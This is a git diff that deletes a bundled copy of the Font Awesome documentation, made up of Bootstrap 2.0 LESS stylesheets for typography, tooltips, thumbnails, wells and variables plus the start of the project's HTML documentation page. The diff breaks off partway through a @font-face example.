-.tableColumns(@columnSpan: 1) {
-  float: none;
-  width: ((@gridColumnWidth) * @columnSpan) + (@gridGutterWidth * (@columnSpan - 1)) - 16;
-  margin-left: 0;
-}
-table {
-  .span1     { .tableColumns(1); }
-  .span2     { .tableColumns(2); }
-  .span3     { .tableColumns(3); }
-  .span4     { .tableColumns(4); }
-  .span5     { .tableColumns(5); }
-  .span6     { .tableColumns(6); }
-  .span7     { .tableColumns(7); }
-  .span8     { .tableColumns(8); }
-  .span9     { .tableColumns(9); }
-  .span10    { .tableColumns(10); }
-  .span11    { .tableColumns(11); }
-  .span12    { .tableColumns(12); }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/thumbnails.less b/assets/font-awesome/docs/assets/less/tw-bs-201/thumbnails.less
deleted file mode 100755
index 3a12d4e5..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/thumbnails.less
+++ /dev/null
@@ -1,35 +0,0 @@
-// THUMBNAILS
-// ----------
-
-.thumbnails {
-  margin-left: -@gridGutterWidth;
-  list-style: none;
-  .clearfix();
-}
-.thumbnails > li {
-  float: left;
-  margin: 0 0 @baseLineHeight @gridGutterWidth;
-}
-.thumbnail {
-  display: block;
-  padding: 4px;
-  line-height: 1;
-  border: 1px solid #ddd;
-  .border-radius(4px);
-  .box-shadow(0 1px 1px rgba(0,0,0,.075));
-}
-// Add a hover state for linked versions only
-a.thumbnail:hover {
-  border-color: @linkColor;
-  .box-shadow(0 1px 4px rgba(0,105,214,.25));
-}
-// Images and captions
-.thumbnail > img {
-  display: block;
-  max-width: 100%;
-  margin-left: auto;
-  margin-right: auto;
-}
-.thumbnail .caption {
-  padding: 9px;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/tooltip.less b/assets/font-awesome/docs/assets/less/tw-bs-201/tooltip.less
deleted file mode 100755
index 5111a193..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/tooltip.less
+++ /dev/null
@@ -1,35 +0,0 @@
-// TOOLTIP
-// ------=
-
-.tooltip {
-  position: absolute;
-  z-index: @zindexTooltip;
-  display: block;
-  visibility: visible;
-  padding: 5px;
-  font-size: 11px;
-  .opacity(0);
-  &.in     { .opacity(80); }
-  &.top    { margin-top:  -2px; }
-  &.right  { margin-left:  2px; }
-  &.bottom { margin-top:   2px; }
-  &.left   { margin-left: -2px; }
-  &.top .tooltip-arrow    { #popoverArrow > .top(); }
-  &.left .tooltip-arrow   { #popoverArrow > .left(); }
-  &.bottom .tooltip-arrow { #popoverArrow > .bottom(); }
-  &.right .tooltip-arrow  { #popoverArrow > .right(); }
-}
-.tooltip-inner {
-  max-width: 200px;
-  padding: 3px 8px;
-  color: @white;
-  text-align: center;
-  text-decoration: none;
-  background-color: @black;
-  .border-radius(4px);
-}
-.tooltip-arrow {
-  position: absolute;
-  width: 0;
-  height: 0;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/type.less b/assets/font-awesome/docs/assets/less/tw-bs-201/type.less
deleted file mode 100755
index 6ba83bc3..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/type.less
+++ /dev/null
@@ -1,218 +0,0 @@
-// Typography.less
-// Headings, body text, lists, code, and more for a versatile and durable typography system
-// ----------------------------------------------------------------------------------------
-
-
-// BODY TEXT
-// ---------
-
-p {
-  margin: 0 0 @baseLineHeight / 2;
-  font-family: @baseFontFamily;
-  font-size: @baseFontSize;
-  line-height: @baseLineHeight;
-  small {
-    font-size: @baseFontSize - 2;
-    color: @grayLight;
-  }
-}
-.lead {
-  margin-bottom: @baseLineHeight;
-  font-size: 20px;
-  font-weight: 200;
-  line-height: @baseLineHeight * 1.5;
-}
-
-// HEADINGS
-// --------
-
-h1, h2, h3, h4, h5, h6 {
-  margin: 0;
-  font-weight: bold;
-  color: @grayDark;
-  text-rendering: optimizelegibility; // Fix the character spacing for headings
-  small {
-    font-weight: normal;
-    color: @grayLight;
-  }
-}
-h1 {
-  font-size: 30px;
-  line-height: @baseLineHeight * 2;
-  small {
-    font-size: 18px;
-  }
-}
-h2 {
-  font-size: 24px;
-  line-height: @baseLineHeight * 2;
-  small {
-    font-size: 18px;
-  }
-}
-h3 {
-  line-height: @baseLineHeight * 1.5;
-  font-size: 18px;
-  small {
-    font-size: 14px;
-  }
-}
-h4, h5, h6 {
-  line-height: @baseLineHeight;
-}
-h4 {
-  font-size: 14px;
-  small {
-    font-size: 12px;
-  }
-}
-h5 {
-  font-size: 12px;
-}
-h6 {
-  font-size: 11px;
-  color: @grayLight;
-  text-transform: uppercase;
-}
-
-// Page header
-.page-header {
-  padding-bottom: @baseLineHeight - 1;
-  margin: @baseLineHeight 0;
-  border-bottom: 1px solid @grayLighter;
-}
-.page-header h1 {
-  line-height: 1;
-}
-
-
-
-// LISTS
-// -----
-
-// Unordered and Ordered lists
-ul, ol {
-  padding: 0;
-  margin: 0 0 @baseLineHeight / 2 25px;
-}
-ul ul,
-ul ol,
-ol ol,
-ol ul {
-  margin-bottom: 0;
-}
-ul {
-  list-style: disc;
-}
-ol {
-  list-style: decimal;
-}
-li {
-  line-height: @baseLineHeight;
-}
-ul.unstyled,
-ol.unstyled {
-  margin-left: 0;
-  list-style: none;
-}
-
-// Description Lists
-dl {
-  margin-bottom: @baseLineHeight;
-}
-dt,
-dd {
-  line-height: @baseLineHeight;
-}
-dt {
-  font-weight: bold;
-}
-dd {
-  margin-left: @baseLineHeight / 2;
-}
-
-// MISC
-// ----
-
-// Horizontal rules
-hr {
-  margin: @baseLineHeight 0;
-  border: 0;
-  border-top: 1px solid @hrBorder;
-  border-bottom: 1px solid @white;
-}
-
-// Emphasis
-strong {
-  font-weight: bold;
-}
-em {
-  font-style: italic;
-}
-.muted {
-  color: @grayLight;
-}
-
-// Abbreviations and acronyms
-abbr {
-  font-size: 90%;
-  text-transform: uppercase;
-  border-bottom: 1px dotted #ddd;
-  cursor: help;
-}
-
-// Blockquotes
-blockquote {
-  padding: 0 0 0 15px;
-  margin: 0 0 @baseLineHeight;
-  border-left: 5px solid @grayLighter;
-  p {
-    margin-bottom: 0;
-    #font > .shorthand(16px,300,@baseLineHeight * 1.25);
-  }
-  small {
-    display: block;
-    line-height: @baseLineHeight;
-    color: @grayLight;
-    &:before {
-      content: '\2014 \00A0';
-    }
-  }
-
-  // Float right with text-align: right
-  &.pull-right {
-    float: right;
-    padding-left: 0;
-    padding-right: 15px;
-    border-left: 0;
-    border-right: 5px solid @grayLighter;
-    p,
-    small {
-      text-align: right;
-    }
-  }
-}
-
-// Quotes
-q:before,
-q:after,
-blockquote:before, 
-blockquote:after {
-  content: "";
-}
-
-// Addresses
-address {
-  display: block;
-  margin-bottom: @baseLineHeight;
-  line-height: @baseLineHeight;
-  font-style: normal;
-}
-
-// Misc
-small {
-  font-size: 100%;
-}
-cite {
-  font-style: normal;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/utilities.less b/assets/font-awesome/docs/assets/less/tw-bs-201/utilities.less
deleted file mode 100755
index d60d2203..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/utilities.less
+++ /dev/null
@@ -1,23 +0,0 @@
-// UTILITY CLASSES
-// ---------------
-
-// Quick floats
-.pull-right {
-  float: right;
-}
-.pull-left {
-  float: left;
-}
-
-// Toggling content
-.hide {
-  display: none;
-}
-.show {
-  display: block;
-}
-
-// Visibility
-.invisible {
-  visibility: hidden;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/variables.less b/assets/font-awesome/docs/assets/less/tw-bs-201/variables.less
deleted file mode 100755
index 3d448ab2..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/variables.less
+++ /dev/null
@@ -1,107 +0,0 @@
-// Variables.less
-// Variables to customize the look and feel of Bootstrap
-// -----------------------------------------------------
-
-
-
-// GLOBAL VALUES
-// --------------------------------------------------
-
-// Links
-@linkColor:             #08c;
-@linkColorHover:        darken(@linkColor, 15%);
-
-// Grays
-@black:                 #000;
-@grayDarker:            #222;
-@grayDark:              #333;
-@gray:                  #555;
-@grayLight:             #999;
-@grayLighter:           #eee;
-@white:                 #fff;
-
-// Accent colors
-@blue:                  #049cdb;
-@blueDark:              #0064cd;
-@green:                 #46a546;
-@red:                   #9d261d;
-@yellow:                #ffc40d;
-@orange:                #f89406;
-@pink:                  #c3325f;
-@purple:                #7a43b6;
-
-// Typography
-@baseFontSize:          13px;
-@baseFontFamily:        "Helvetica Neue", Helvetica, Arial, sans-serif;
-@baseLineHeight:        18px;
-@textColor:             @grayDark;
-
-// Buttons
-@primaryButtonBackground:    @linkColor;
-
-
-
-// COMPONENT VARIABLES
-// --------------------------------------------------
-
-// Z-index master list
-// Used for a bird's eye view of components dependent on the z-axis
-// Try to avoid customizing these :)
-@zindexDropdown:          1000;
-@zindexPopover:           1010;
-@zindexTooltip:           1020;
-@zindexFixedNavbar:       1030;
-@zindexModalBackdrop:     1040;
-@zindexModal:             1050;
-
-// Sprite icons path
-@iconSpritePath:          "../img/glyphicons-halflings.png";
-@iconWhiteSpritePath:     "../img/glyphicons-halflings-white.png";
-
-// Input placeholder text color
-@placeholderText:         @grayLight;
-
-// Hr border color
-@hrBorder:                @grayLighter;
-
-// Navbar
-@navbarHeight:                    40px;
-@navbarBackground:                @grayDarker;
-@navbarBackgroundHighlight:       @grayDark;
-@navbarLinkBackgroundHover:       transparent;
-
-@navbarText:                      @grayLight;
-@navbarLinkColor:                 @grayLight;
-@navbarLinkColorHover:            @white;
-
-// Form states and alerts
-@warningText:             #c09853;
-@warningBackground:       #fcf8e3;
-@warningBorder:           darken(spin(@warningBackground, -10), 3%);
-
-@errorText:               #b94a48;
-@errorBackground:         #f2dede;
-@errorBorder:             darken(spin(@errorBackground, -10), 3%);
-
-@successText:             #468847;
-@successBackground:       #dff0d8;
-@successBorder:           darken(spin(@successBackground, -10), 5%);
-
-@infoText:                #3a87ad;
-@infoBackground:          #d9edf7;
-@infoBorder:              darken(spin(@infoBackground, -10), 7%);
-
-
-
-// GRID
-// --------------------------------------------------
-
-// Default 940px grid
-@gridColumns:             12;
-@gridColumnWidth:         60px;
-@gridGutterWidth:         20px;
-@gridRowWidth:            (@gridColumns * @gridColumnWidth) + (@gridGutterWidth * (@gridColumns - 1));
-
-// Fluid grid
-@fluidGridColumnWidth:    6.382978723%;
-@fluidGridGutterWidth:    2.127659574%;
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/wells.less b/assets/font-awesome/docs/assets/less/tw-bs-201/wells.less
deleted file mode 100755
index 244b8ca1..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/wells.less
+++ /dev/null
@@ -1,17 +0,0 @@
-// WELLS
-// -----
-
-.well {
-  min-height: 20px;
-  padding: 19px;
-  margin-bottom: 20px;
-  background-color: #f5f5f5;
-  border: 1px solid #eee;
-  border: 1px solid rgba(0,0,0,.05);
-  .border-radius(4px);
-  .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));
-  blockquote {
-    border-color: #ddd;
-    border-color: rgba(0,0,0,.15);
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/variables.less b/assets/font-awesome/docs/assets/less/variables.less
deleted file mode 100755
index cdeefce6..00000000
--- a/assets/font-awesome/docs/assets/less/variables.less
+++ /dev/null
@@ -1,110 +0,0 @@
-// Variables.less
-// Variables to customize the look and feel of Bootstrap
-// -----------------------------------------------------
-
-
-
-// GLOBAL VALUES
-// --------------------------------------------------
-
-// Links
-@linkColor:             @red;
-@linkColorHover:        darken(@linkColor, 15%);
-
-// Grays
-@black:                 #000;
-@grayDarker:            #222;
-@grayDark:              #333;
-@gray:                  #555;
-@grayLight:             #999;
-@grayLighter:           #eee;
-@white:                 #fff;
-
-// Accent colors
-@blue:                  #049cdb;
-@blueDark:              #0064cd;
-@green:                 #46a546;
-@red:                   #9d261d;
-@yellow:                #ffc40d;
-@orange:                #f89406;
-@pink:                  #c3325f;
-@purple:                #7a43b6;
-
-// Typography
-@baseFontSize:          14px;
-//@baseFontFamily:        MuseoSans, "Helvetica Neue", Helvetica, Arial, sans-serif;
-@baseFontFamily:        "Helvetica Neue", Helvetica, Arial, sans-serif;
-@baseLineHeight:        21px;
-@textColor:             @grayDark;
-
-@baseHeaderFontFamily:  MuseoSlab, "Helvetica Neue", Helvetica, Arial, sans-serif;
-
-// Buttons
-@primaryButtonBackground:    @linkColor;
-
-
-
-// COMPONENT VARIABLES
-// --------------------------------------------------
-
-// Z-index master list
-// Used for a bird's eye view of components dependent on the z-axis
-// Try to avoid customizing these :)
-@zindexDropdown:          1000;
-@zindexPopover:           1010;
-@zindexTooltip:           1020;
-@zindexFixedNavbar:       1030;
-@zindexModalBackdrop:     1040;
-@zindexModal:             1050;
-
-// Sprite icons path
-@iconSpritePath:          "../img/glyphicons-halflings.png";
-@iconWhiteSpritePath:     "../img/glyphicons-halflings-white.png";
-
-// Input placeholder text color
-@placeholderText:         @grayLight;
-
-// Hr border color
-@hrBorder:                @grayLighter;
-
-// Navbar
-@navbarHeight:                    40px;
-@navbarBackground:                @grayDarker;
-@navbarBackgroundHighlight:       @grayDark;
-@navbarLinkBackgroundHover:       transparent;
-
-@navbarText:                      @grayLight;
-@navbarLinkColor:                 @grayLight;
-@navbarLinkColorHover:            @white;
-
-// Form states and alerts
-@warningText:             #c09853;
-@warningBackground:       #fcf8e3;
-@warningBorder:           darken(spin(@warningBackground, -10), 3%);
-
-@errorText:               #b94a48;
-@errorBackground:         #f2dede;
-@errorBorder:             darken(spin(@errorBackground, -10), 3%);
-
-@successText:             #468847;
-@successBackground:       #dff0d8;
-@successBorder:           darken(spin(@successBackground, -10), 5%);
-
-@infoText:                #3a87ad;
-@infoBackground:          #d9edf7;
-@infoBorder:              darken(spin(@infoBackground, -10), 7%);
-
-
-
-// GRID
-// --------------------------------------------------
-
-// Default 940px grid
-@gridColumns:             12;
-@gridColumnWidth:         60px;
-@gridGutterWidth:         20px;
-@gridRowWidth:            (@gridColumns * @gridColumnWidth) + (@gridGutterWidth * (@gridColumns - 1));
-
-// Fluid grid
-@fluidGridColumnWidth:    6.382978723%;
-@fluidGridGutterWidth:    2.127659574%;
diff --git a/assets/font-awesome/docs/index.html b/assets/font-awesome/docs/index.html
deleted file mode 100755
index 409592bc..00000000
--- a/assets/font-awesome/docs/index.html
+++ /dev/null
@@ -1,844 +0,0 @@
-<!DOCTYPE html>
-<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
-<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
-<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
-<!--[if (gte IE 9)|!(IE)]><!--><html lang="en"> <!--<![endif]-->
-<head>
-    <!-- Basic Page Needs
-   ================================================== -->
-    <meta charset="utf-8" />
-    <title>Font Awesome, the iconic font designed for use with Twitter Bootstrap</title>
-    <meta name="description" content="">
-    <meta name="author" content="">
-    <!--[if lt IE 9]>
-    <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
-    <![endif]-->
-
-    <!-- CSS
-   ================================================== -->
-
-    <link rel="stylesheet" href="assets/css/site.css">
-    <link rel="stylesheet" href="assets/css/prettify.css">
-
-    <!-- Le fav and touch icons -->
-    <link rel="shortcut icon" href="assets/ico/favicon.ico">
-</head>
-<body>
-
-<!--for navigation-->
-<div id="overview"></div>
-
-<div class="navbar navbar-fixed-top">
-    <div class="navbar-inner">
-        <div class="container">
-            <h3><a class="brand" href="#"><i class="icon-flag"></i> Font Awesome</a></h3>
-            <ul class="nav">
-                <li><a href="#overview">Overview</a></li>
-                <li><a href="#base-icons">Base Icons</a></li>
-                <li><a href="#extended-icons">Extended Icons</a></li>
-                <li><a href="#examples">Examples</a></li>
-                <li><a href="#integration">Integration</a></li>
-                <li><a href="#code">Code</a></li>
-                <li><a href="#roadmap">Roadmap</a></li>
-            </ul>
-            <ul class="nav pull-right">
-                <li><a href="mailto:dave@davegandy.com"><i class="icon-envelope"></i> Me</a></li>
-            </ul>
-        </div>
-    </div>
-</div>
-
-<div class="container">
-    <div class="hero-unit">
-        <div id="iconCarousel" class="carousel">
-            <!-- Carousel items -->
-            <div class="carousel-inner">
-                <div class="active item"><div><i class="icon-flag"></i></div></div>
-                <div class="item"><div><i class="icon-star-empty"></i></div></div>
-                <div class="item"><div><i class="icon-fire"></i></div></div>
-                <div class="item"><div><i class="icon-envelope"></i></div></div>
-                <div class="item"><div><i class="icon-leaf"></i></div></div>
-                <div class="item"><div><i class="icon-key"></i></div></div>
-                <div class="item"><div><i class="icon-pushpin"></i></div></div>
-                <div class="item"><div><i class="icon-cogs"></i></div></div>
-                <div class="item"><div><i class="icon-book"></i></div></div>
-                <div class="item"><div><i class="icon-film"></i></div></div>
-                <div class="item"><div><i class="icon-tint"></i></div></div>
-                <div class="item"><div><i class="icon-edit"></i></div></div>
-                <div class="item"><div><i class="icon-search"></i></div></div>
-                <div class="item"><div><i class="icon-home"></i></div></div>
-                <div class="item"><div><i class="icon-calendar"></i></div></div>
-                <div class="item"><div><i class="icon-picture"></i></div></div>
-                <div class="item"><div><i class="icon-headphones"></i></div></div>
-                <div class="item"><div><i class="icon-heart-empty"></i></div></div>
-                <div class="item"><div><i class="icon-thumbs-up"></i></div></div>
-                <div class="item"><div><i class="icon-flag"></i></div></div>
-            </div>
-            <!-- Carousel nav -->
-            <a class="carousel-control left" href="#iconCarousel" data-slide="prev"><i class="icon-arrow-left"></i></a>
-            <a class="carousel-control right" href="#iconCarousel" data-slide="next"><i class="icon-arrow-right"></i></a>
-        </div>
-        <div class="hero-content">
-            <h1>Font Awesome</h1>
-            <p>The iconic font designed for use with Twitter Bootstrap</p>
-            <div class="actions">
-                <a class="btn btn-primary btn-large" href="https://github.com/FortAwesome/Font-Awesome/zipball/master"><i class="icon-download"></i> Download<br>Font Awesome</a>
-                <a class="btn btn-large" href="https://github.com/FortAwesome/Font-Awesome"><i class="icon-github-sign"></i> View Project<br>on GitHub</a>
-            </div>
-        </div>
-    </div>
-
-    <section id="why">
-        <div class="row">
-            <div class="span4">
-                <h3><i class="icon-flag icon-large"></i> One font, 150+ icons</h3>
-                In a single collection, Font Awesome is a pictographic language of web-related actions.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-gift icon-large"></i> Free for commercial use</h3>
-                The Font Awesome webfont and CSS libraries are completely free for commercial use.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-search icon-large"></i> Screen reader compatible</h3>
-                Font Awesome won't trip up screen readers, unlike most icon fonts.
-            </div>
-        </div>
-        <div class="row">
-            <div class="span4">
-                <h3><i class="icon-resize-full icon-large"></i> Infinite scalability</h3>
-                Scalable vector graphics means icons look awesome at any size.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-pencil icon-large"></i> CSS control</h3>
-                Easily style icon color, size, shadow, and anything that's possible with CSS.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-ok icon-large"></i> Broad compatibility</h3>
-                Wide @font-face support means Font Awesome works in <a href="#roadmap" rel="tooltip" data-original-title="IE7 support coming soon">modern browsers <i class="icon-info-sign"></i></a>.
-            </div>
-        </div>
-        <div class="row">
-            <div class="span4">
-                <h3><i class="icon-thumbs-up icon-large"></i> Made for Twitter Bootstrap</h3>
-                Designed from scratch to be fully backwards compatible with <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap 2.0</a>.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-refresh icon-large"></i> Growing set of icons</h3>
-                Ever expanding to support a wider array of web-related actions.
-            </div>
-            <div class="span4">
-                <h3><i class="icon-twitter-sign icon-large"></i> Follow on Twitter</h3>
-                Follow <a href="http://twitter.com/fortaweso_me/" target="_blank">@fortaweso_me</a> on Twitter for icon updates and styling tricks.
-            </div>
-        </div>
-    </section>
-
-    <section id="base-icons" class="row">
-        <div class="span12">
-            <h1>Base Icons</h1>
-            <p>Inspired by the Glyphicon set that comes with <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap 2.0</a>, Font Awesome is designed from scratch for a full array of web-related actions.</p>
-        </div>
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-glass"></li>
-                <li class="icon-music"></li>
-                <li class="icon-search"></li>
-                <li class="icon-envelope"></li>
-                <li class="icon-heart"></li>
-                <li class="icon-star"></li>
-                <li class="icon-star-empty"></li>
-                <li class="icon-user"></li>
-                <li class="icon-film"></li>
-                <li class="icon-th-large"></li>
-                <li class="icon-th"></li>
-                <li class="icon-th-list"></li>
-                <li class="icon-ok"></li>
-                <li class="icon-remove"></li>
-                <li class="icon-zoom-in"></li>
-
-                <li class="icon-zoom-out"></li>
-                <li class="icon-off"></li>
-                <li class="icon-signal"></li>
-                <li class="icon-cog"></li>
-                <li class="icon-trash"></li>
-                <li class="icon-home"></li>
-                <li class="icon-file"></li>
-                <li class="icon-time"></li>
-                <li class="icon-road"></li>
-                <li class="icon-download-alt"></li>
-                <li class="icon-download"></li>
-                <li class="icon-upload"></li>
-                <li class="icon-inbox"></li>
-                <li class="icon-play-circle"></li>
-                <li class="icon-repeat"></li>
-            </ul>
-        </div>
-
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-refresh"></li>
-                <li class="icon-list-alt"></li>
-                <li class="icon-lock"></li>
-                <li class="icon-flag"></li>
-                <li class="icon-headphones"></li>
-                <li class="icon-volume-off"></li>
-                <li class="icon-volume-down"></li>
-                <li class="icon-volume-up"></li>
-                <li class="icon-qrcode"></li>
-                <li class="icon-barcode"></li>
-                <li class="icon-tag"></li>
-                <li class="icon-tags"></li>
-                <li class="icon-book"></li>
-                <li class="icon-bookmark"></li>
-                <li class="icon-print"></li>
-
-                <li class="icon-camera"></li>
-                <li class="icon-font"></li>
-                <li class="icon-bold"></li>
-                <li class="icon-italic"></li>
-                <li class="icon-text-height"></li>
-                <li class="icon-text-width"></li>
-                <li class="icon-align-left"></li>
-                <li class="icon-align-center"></li>
-                <li class="icon-align-right"></li>
-                <li class="icon-align-justify"></li>
-                <li class="icon-list"></li>
-                <li class="icon-indent-left"></li>
-                <li class="icon-indent-right"></li>
-                <li class="icon-facetime-video"></li>
-                <li class="icon-picture"></li>
-            </ul>
-        </div>
-
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-pencil"></li>
-                <li class="icon-map-marker"></li>
-                <li class="icon-adjust"></li>
-                <li class="icon-tint"></li>
-                <li class="icon-edit"></li>
-                <li class="icon-share"></li>
-                <li class="icon-check"></li>
-                <li class="icon-move"></li>
-                <li class="icon-step-backward"></li>
-                <li class="icon-fast-backward"></li>
-                <li class="icon-backward"></li>
-                <li class="icon-play"></li>
-                <li class="icon-pause"></li>
-                <li class="icon-stop"></li>
-                <li class="icon-forward"></li>
-
-                <li class="icon-fast-forward"></li>
-                <li class="icon-step-forward"></li>
-                <li class="icon-eject"></li>
-                <li class="icon-chevron-left"></li>
-                <li class="icon-chevron-right"></li>
-                <li class="icon-plus-sign"></li>
-                <li class="icon-minus-sign"></li>
-                <li class="icon-remove-sign"></li>
-                <li class="icon-ok-sign"></li>
-                <li class="icon-question-sign"></li>
-                <li class="icon-info-sign"></li>
-                <li class="icon-screenshot"></li>
-                <li class="icon-remove-circle"></li>
-                <li class="icon-ok-circle"></li>
-                <li class="icon-ban-circle"></li>
-            </ul>
-        </div>
-
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-arrow-left"></li>
-                <li class="icon-arrow-right"></li>
-                <li class="icon-arrow-up"></li>
-                <li class="icon-arrow-down"></li>
-                <li class="icon-share-alt"></li>
-                <li class="icon-resize-full"></li>
-                <li class="icon-resize-small"></li>
-                <li class="icon-plus"></li>
-                <li class="icon-minus"></li>
-                <li class="icon-asterisk"></li>
-                <li class="icon-exclamation-sign"></li>
-                <li class="icon-gift"></li>
-                <li class="icon-leaf"></li>
-                <li class="icon-fire"></li>
-                <li class="icon-eye-open"></li>
-
-                <li class="icon-eye-close"></li>
-                <li class="icon-warning-sign"></li>
-                <li class="icon-plane"></li>
-                <li class="icon-calendar"></li>
-                <li class="icon-random"></li>
-                <li class="icon-comment"></li>
-                <li class="icon-magnet"></li>
-                <li class="icon-chevron-up"></li>
-                <li class="icon-chevron-down"></li>
-                <li class="icon-retweet"></li>
-                <li class="icon-shopping-cart"></li>
-                <li class="icon-folder-close"></li>
-                <li class="icon-folder-open"></li>
-                <li class="icon-resize-vertical"></li>
-                <li class="icon-resize-horizontal"></li>
-            </ul>
-        </div>
-    </section>
-
-    <section id="extended-icons" class="row">
-        <div class="span12">
-            <h1>Extended Icons</h1>
-            <p>
-                But wait, there's more! Font Awesome also includes this set of ever-expanding extra-awesome pictograms.
-            </p>
-        </div>
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-camera-retro"></li>
-                <li class="icon-bar-chart"></li>
-                <li class="icon-cogs"></li>
-                <li class="icon-external-link"></li>
-                <li class="icon-pushpin"></li>
-            </ul>
-        </div>
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-facebook-sign"></li>
-                <li class="icon-twitter-sign"></li>
-                <li class="icon-linkedin-sign"></li>
-                <li class="icon-github-sign"></li>
-                <li class="icon-key"></li>
-            </ul>
-        </div>
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-thumbs-up"></li>
-                <li class="icon-thumbs-down"></li>
-                <li class="icon-comments"></li>
-                <li class="icon-trophy"></li>
-                <li class="icon-upload-alt"></li>
-            </ul>
-        </div>
-        <div class="span3">
-            <ul class="the-icons">
-                <li class="icon-signin"></li>
-                <li class="icon-signout"></li>
-                <li class="icon-star-half"></li>
-                <li class="icon-heart-empty"></li>
-                <li class="icon-lemon"></li>
-            </ul>
-        </div>
-    </section>
-
-    <section id="examples">
-        <h1>Examples</h1>
-        <p>Many examples re-used from the Twitter Bootstrap documentation.</p>
-        <div class="row">
-            <div class="span4">
-                <div class="well">
-                    <p>Use Font Awesome icons in:</p>
-                    <ul>
-                        <li class="icon-ok">Bulleted lists (like this one)</li>
-                        <li class="icon-ok">Buttons</li>
-                        <li class="icon-ok">Button groups</li>
-                        <li class="icon-ok">Navigation</li>
-                        <li class="icon-ok">Prepended form inputs</li>
-                        <li class="icon-ok">And many more with Custom CSS</li>
-                    </ul>
-                </div>
-            </div>
-            <div class="span4">
-                <p>
-                    <a class="btn" href="#"><i class="icon-refresh"></i> Refresh</a>
-                    <a class="btn btn-success" href="#"><i class="icon-shopping-cart icon-large"></i> Checkout</a>
-                    <a class="btn btn-danger" href="#"><i class="icon-trash icon-large"></i> Delete</a>
-                </p>
-                <p>
-                    <a class="btn btn-large btn-primary" href="#"><i class="icon-comment"></i> Comment</a>
-                    <a class="btn btn-small" href="#"><i class="icon-cog"></i> Settings</a>
-                    <a class="btn btn-small btn-info" href="#"><i class="icon-info-sign"></i> More Info</a>
-                </p>
-                <div class="well" style="padding: 8px 0;">
-                    <ul class="nav nav-list">
-                        <li class="active"><a href="#"><i class="icon-home"></i> Home</a></li>
-                        <li><a href="#"><i class="icon-book"></i> Library</a></li>
-                        <li><a href="#"><i class="icon-pencil"></i> Applications</a></li>
-                        <li><a href="#"><i class="icon-cogs"></i> Settings</a></li>
-                    </ul>
-                </div>
-            </div>
-            <div class="span4">
-                <div class="btn-toolbar">
-                    <div class="btn-group">
-                        <a class="btn" href="#"><i class="icon-align-left"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-center"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-right"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-justify"></i></a>
-                    </div>
-                    <div class="btn-group">
-                        <a class="btn btn-primary" href="#"><i class="icon-user"></i> User</a>
-                        <a class="btn btn-primary dropdown-toggle" data-toggle="dropdown" href="#"><span class="icon-chevron-down"></span></a>
-                        <ul class="dropdown-menu">
-                            <li><a href="#"><i class="icon-pencil"></i> Edit</a></li>
-                            <li><a href="#"><i class="icon-trash"></i> Delete</a></li>
-                            <li><a href="#"><i class="icon-ban-circle"></i> Ban</a></li>
-                            <li class="divider"></li>
-                            <li><a href="#"><i class="i"></i> Make admin</a></li>
-                        </ul>
-                    </div>
-                </div>
-                <form>
-                    <div class="control-group">
-                        <div class="controls">
-                            <div class="input-prepend">
-                                <span class="add-on"><i class="icon-envelope"></i></span>
-                                <input class="span2" id="inputIcon" type="text" placeholder="Email address">
-                            </div>
-                        </div>
-                    </div>
-                    <div class="control-group">
-                        <div class="controls">
-                            <div class="input-prepend">
-                                <span class="add-on"><i class="icon-key"></i></span>
-                                <input class="span2" id="inputIcon2" type="text" placeholder="Password">
-                            </div>
-                        </div>
-                    </div>
-                </form>
-                <div>
-                    <span class="rating">
-                        <span class="star"></span><span class="star"></span><span class="star"></span><span class="star"></span><span class="star"></span>
-                    </span>
-                </div>
-            </div>
-        </div>
-    </section>
-
-    <section id="integration">
-        <h1>Integration</h1>
-        <p>It's easy to integrate Font Awesome into Twitter Bootstrap, or even use it on its own.</p>
-        <div class="row">
-            <div class="span3">
-                <h3>Bootstrap using LESS</h3>
-                <p>Use this method if integrating with Twitter Bootstrap using LESS</p>
-            </div>
-            <div class="span9">
-                <ol>
-                    <li>Copy the Font Awesome font directory into your project.</li>
-                    <li>Copy font-awesome.less into your bootstrap/less directory.</li>
-                    <li>Open bootstrap.less and replace <code>@import "sprites.less";</code> with <code>@import "font-awesome.less";</code></li>
-                    <li>
-                        Open your project's font-awesome.less and edit the font url to ensure it points to the right place.
-<pre class="prettyprint linenums">
-@font-face {
-  font-family: 'FontAwesome';
-  src: url('../font/fontawesome-webfont.eot');
-  src: url('../font/fontawesome-webfont.eot?#iefix') format('embedded-opentype'),
-     url('../font/fontawesome-webfont.woff') format('woff'),
-     url('../font/fontawesome-webfont.ttf') format('truetype'),
